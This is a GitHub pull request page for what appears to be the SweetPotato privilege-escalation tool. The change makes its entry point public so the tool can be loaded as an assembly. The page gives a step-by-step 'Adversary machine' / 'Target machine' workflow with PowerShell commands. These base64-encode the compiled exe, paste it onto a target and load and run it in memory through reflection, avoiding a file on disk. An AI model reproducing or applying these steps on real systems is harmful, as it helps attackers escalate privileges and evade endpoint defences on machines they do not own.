Skip to content

Conversation

@InfamousSYN
Copy link

Made the Program class and Main function as public to allow the tool be loaded as assembly.

Workflow

Adversary machine

  1. Make changes to the affected lines, recompile the tool
  2. Package the .exe into a .zip using
  3. Base64 encode the .zip file
[Convert]::ToBase64String([IO.File]::ReadAllBytes("SweetPotato\bin\Debug\SweetPotato.exe")) | Out-File -Encoding ASCII SweetPotato\bin\Debug\SweetPotato.txt

Target machine

  1. copy the base64 encoded string via clipboard and paste into powershell
$infile = "[BASE64 BLOB]"
  1. Reverse the base64 encoding and unpack the .zip file with the following command
$SweetPotatoAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($infile))
  1. Confirm the successful load
[SweetPotato.Program]::Main("".split())

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant